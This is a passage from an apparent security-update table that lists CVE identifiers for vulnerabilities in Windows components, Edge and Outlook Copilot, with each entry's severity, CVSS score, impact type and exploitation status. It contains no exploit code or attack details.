CVE-2026-58529 Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-54983 Windows Active Directory Federation Services Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50695 Windows Active Directory Federation Services Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50304 Windows Active Directory Federation Services Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50368 Windows Active Directory Federation Services Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50324 Windows Active Directory Federation Services Denial of Service Vulnerability Important 5.9 No No DoS
CVE-2026-50355 Windows Active Directory Federation Services Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50411 Windows Active Directory Federation Services Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-58631 Windows Admin Center (WAC) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-56196 Windows Admin Center (WAC) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-56197 Windows Admin Center (WAC) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-56169 Windows Admin Center Elevation of Privilege Vulnerability Important 8.1 No No EoP
CVE-2026-57107 Windows Admin Center Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56185 Windows Admin Center Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-50312 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 4.7 No No EoP
CVE-2026-50462 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-57093 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-34346 Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-48572 Windows App Package Installer Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-48571 Windows App Package Installer Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50400 Windows App Package Installer Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50331 Windows Application Model Core API Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49803 Windows AppX Deployment Extensions Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50351 Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50440 Windows Audio Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34328 Windows Audio Service Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50406 Windows Backup Engine Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50364 Windows Backup Service Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-42975 Windows Bluetooth Port Driver Remote Code Execution Important 8 No No RCE
CVE-2026-58538 Windows Bluetooth Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58638 Windows Boot Loader Security Feature Bypass Vulnerability Important 6 No No SFB
CVE-2026-58637 Windows Client-Side Caching Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50384 Windows Clip Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49183 Windows Clipboard Server Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50689 Windows Clipboard Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50374 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 6.3 No No EoP
CVE-2026-58536 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58613 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50401 Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50697 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50667 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50421 Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50428 Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-50352 Windows Cryptographic Services Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50302 Windows Cryptographic Services Security Feature Bypass Vulnerability Important 4.2 No No SFB
CVE-2026-55144 Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability Important 7.1 No No Tampering
CVE-2026-50347 Windows Data.dll Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-49181 Windows DHCP Client Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-50683 Windows DHCP Client Elevation of Privilege Vulnerability Important 8 No No EoP
CVE-2026-58627 Windows DHCP Server Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50685 Windows DHCP Server Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-49807 Windows DirectX Information Disclosure Vulnerability Important 6.2 No No Info
CVE-2026-49175 Windows DNS Client Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50487 Windows DNS Client Elevation of Privilege Vulnerability Important 8.1 No No EoP
CVE-2026-50465 Windows DNS Client Tampering Vulnerability Important 7.1 No No Tampering
CVE-2026-49169 Windows DNS Server Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-50426 Windows DNS Server Remote Code Execution Vulnerability Important 6.8 No No RCE
CVE-2026-50424 Windows Domain Controller Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50300 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50437 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-34348 Windows Event Logging Service Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-50502 Windows Event Logging Service Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-33842 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-40422 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-41087 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50473 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50442 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50389 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50456 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-57084 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-57091 Windows File History Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50405 Windows Filtering Platform Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49172 Windows FTP Service Remote Code Execution Vulnerability Important 9.8 No No RCE
CVE-2026-50387 Windows GDI Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54122 Windows GDI+ Remote Code Execution Vulnerability Important 8.4 No No RCE
CVE-2026-50483 Windows Graphics Component Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-58609 Windows Graphics Component Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50391 Windows Group Policy Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50310 Windows Human Interface Device Information Disclosure Vulnerability Important 4.7 No No Info
CVE-2026-50485 Windows Hyper-V Denial of Service Vulnerability Important 4.5 No No DoS
CVE-2026-54129 Windows Hyper-V Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50315 Windows Image Acquisition Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58534 Windows Input Method Editor (IME) Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50490 Windows Installer Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-58540 Windows Installer Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50425 Windows Internal System User Profile Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50293 Windows Internal Task Bar Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49167 Windows Kernel Elevation of Privilege Vulnerability Important 4.7 No No EoP
CVE-2026-49173 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54132 Windows Kernel Elevation of Privilege Vulnerability Important 6.8 No No EoP
CVE-2026-49795 Windows Kernel Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-49798 Windows Kernel Elevation of Privilege Vulnerability Important 9.3 No No EoP
CVE-2026-49808 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50354 Windows Kernel Elevation of Privilege Vulnerability Important 7.1 No No EoP
CVE-2026-50332 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50377 Windows Kernel Elevation of Privilege Vulnerability Important 5.5 No No EoP
CVE-2026-50390 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50423 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50397 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50436 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50399 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50459 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50477 Windows Kernel Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50478 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50484 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50673 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58532 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50294 Windows Kernel Information Disclosure Vulnerability Important 6.2 No No Info
CVE-2026-50316 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50419 Windows Kernel Information Disclosure Vulnerability Important 3.3 No No Info
CVE-2026-50463 Windows Kernel Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-50475 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50429 Windows Kernel Information Disclosure Vulnerability Important 8.2 No No Info
CVE-2026-58614 Windows Kernel Security Feature Bypass Vulnerability Important 5.5 No No SFB
CVE-2026-58545 Windows Kernel Security Feature Bypass Vulnerability Important 5.5 No No SFB
CVE-2026-58602 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50393 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50396 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50378 Windows Key Guard Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50303 Windows Key Guard Security Feature Bypass Vulnerability Important 5.5 No No SFB
CVE-2026-40378 Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-49799 Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2026-50371 Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-58544 Windows Management Services Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50404 Windows Media Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50358 Windows Media Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50336 Windows Media Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50398 Windows Media Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50414 Windows Media Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-50379 Windows Media Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-50433 Windows Media Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50676 Windows Media Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50677 Windows Media Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34349 Windows Media Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50394 Windows Media Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50415 Windows Media Information Disclosure Vulnerability Important 5.3 No No Info
CVE-2026-57083 Windows Media Photo Codec Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-54115 Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50447 Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability Important 9.8 No No RCE
CVE-2026-50505 Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-50342 Windows MIDI Service Module Elevation of Privileges Vulnerability Important 8.8 No No EoP
CVE-2026-56183 Windows MIDI Service Module Elevation of Privileges Vulnerability Important 7 No No EoP
CVE-2026-56187 Windows MIDI Service Module Elevation of Privileges Vulnerability Important 7 No No EoP
CVE-2026-58635 Windows Narrator Braille Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50500 Windows Netlogon Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-50476 Windows Network Connections Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50450 Windows Network Connections Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56650 Windows Network File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56649 Windows Network File System Remote Code Execution Vulnerability Important 5.9 No No RCE
CVE-2026-50470 Windows Network Policy Server SNMP Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-50496 Windows Network Policy Server SNMP Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-56194 Windows NFS Server Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-56648 Windows NFS Server Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-50337 Windows Notification Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49789 Windows NTFS Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-50412 Windows NTFS Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50422 Windows NTFS Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50672 Windows NTFS Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-56175 Windows NTFS Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56182 Windows NTFS Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50341 Windows NTFS Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-58640 Windows NTFS Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-49184 Windows NTFS Remote Code Execution Vulnerability Important 8.4 No No RCE
CVE-2026-49797 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50308 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50386 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50309 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50313 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50388 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50448 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50471 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50461 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50417 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50482 Windows NTFS Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-50494 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50344 Windows OLE Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50686 Windows OLE Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-50335 Windows Operating Systems Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50317 Windows Operating Systems Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54987 Windows Overlay Filter Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50435 Windows Overlay Filter Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50409 Windows Overlay Filter Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-40400 Windows PowerShell Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-49166 Windows Print Configuration Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-55004 Windows Print Configuration Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50499 Windows Print Spooler Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50383 Windows Print Spooler Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-57085 Windows Print Spooler Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50469 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50434 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50339 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50430 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50334 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-44800 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50363 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50431 Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50372 Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50666 Windows Remote Access Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-56647 Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50330 Windows Remote Desktop Client Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-50376 Windows Remote Desktop Client Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-50504 Windows Remote Desktop Client Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-58533 Windows Remote Desktop Client Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-58535 Windows Remote Desktop Client Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-58546 Windows Remote Desktop Client Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-58539 Windows Remote Desktop Client Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-55003 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-57979 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-50445 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-50497 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-54126 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-57982 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-50369 Windows Remote Desktop Services Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-58626 Windows Remote Desktop Services Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-55014 Windows Remote Help Defense Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50318 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50407 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50357 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50441 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50668 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Important 6.8 No No EoP
CVE-2026-54109 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-49792 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-49793 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50362 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50492 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 6.8 No No RCE
CVE-2026-50501 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-58530 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-49791 Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability Important 7.1 No No EoP
CVE-2026-50451 Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability Important 7.1 No No EoP
CVE-2026-57096 Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50323 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50452 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50348 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50345 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50322 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50340 Windows Runtime Elevation of Privilege Vulnerability Important 8.5 No No EoP
CVE-2026-50410 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50449 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50460 Windows Runtime Elevation of Privilege Vulnerability Important 8.1 No No EoP
CVE-2026-50403 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50385 Windows Runtime Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50413 Windows Runtime Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50457 Windows Runtime Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50486 Windows Runtime Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50503 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-54125 Windows Runtime Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58527 Windows Runtime Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50373 Windows Search Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50679 Windows Search Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-44806 Windows Secure Channel Denial of Service Vulnerability Important 5.3 No No DoS
CVE-2026-50681 Windows Secure Channel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-56186 Windows Secure Channel Information Disclosure Vulnerability Important 8.1 No No Info
CVE-2026-50367 Windows Sensor Data Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58619 Windows Sensor Data Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50311 Windows Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50328 Windows Server Update Service (WSUS) Tampering Vulnerability Important 7.5 No No Tampering
CVE-2026-58531 Windows SMB Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-54997 Windows SMB Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-49801 Windows SMB Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50690 Windows SMB Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-56168 Windows SMB Server Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2026-50360 Windows SMB Server Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-57089 Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-50333 Windows Spaceport.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50298 Windows Spaceport.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49171 Windows Speech Runtime Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-49170 Windows StateRepository API Server file Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58526 Windows Storage Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50299 Windows Storage Spaces Direct Remote Code Execution Vulnerability Important 6.8 No No RCE
CVE-2026-57968 Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-57973 Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability Important 6.3 No No Tampering
CVE-2026-50418 Windows System Secure Feature Bypass Vulnerability Important 5.1 No No SFB
CVE-2026-50306 Windows TCP/IP Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50307 Windows TCP/IP Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49177 Windows TCP/IP Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50669 Windows Telephony Server Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-54124 Windows Terminal Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50350 Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50326 Windows Unified Consent System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49790 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-50498 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58547 Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability Important 5.5 No No EoP
CVE-2026-49794 Windows USB Audio Class Driver Information Disclosure Vulnerability Important 4.6 No No Info
CVE-2026-50453 Windows USB Audio Class Driver Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-58528 Windows USB Audio Class Driver Information Disclosure Vulnerability Important 6.8 No No Info
CVE-2026-50321 Windows USB Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50479 Windows USB Hub Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-55000 Windows USB Print Driver Elevation of Privilege Vulnerability Important 6.4 No No EoP
CVE-2026-54991 Windows USB Print Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54996 Windows USB Print Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49802 Windows USB Print Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49806 Windows USB Print Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50674 Windows USB Print Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49804 Windows USB Video Driver Elevation of Privilege Vulnerability Important 6.6 No No EoP
CVE-2026-50454 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49176 Windows WalletService Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49800 Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50480 Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56173 Windows WebView Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-58632 Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54107 Windows Win32k Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-54986 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54112 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54114 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50670 Windows Win32k Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50688 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50687 Windows Win32k Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-56176 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58628 Windows Wireless Network Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50295 Windows Zero Trust DNS Security Feature Bypass Vulnerability Important 5.5 No No SFB
CVE-2026-50509 Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-55945 Microsoft Edge (Chromium-based) Information Disclosure Vulnerability Moderate 4.2 No No Info
CVE-2026-45488 Microsoft Edge (Chromium-based) Spoofing Vulnerability Moderate 5.4 No No Spoofing
CVE-2026-45489 Microsoft Edge (Chromium-based) Spoofing Vulnerability Moderate 6.5 No No Spoofing
CVE-2026-55145 Outlook Copilot Tampering Vulnerability Moderate 6.3 No No Tampering
CVE-2026-56181 Windows Network Address Translation (NAT) Spoofing Vulnerability Moderate 8.3 No No Spoofing
CVE-2026-58597 Microsoft Edge (Chromium-based) Spoofing Vulnerability Low 4.3 No No Spoofing

** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.

 

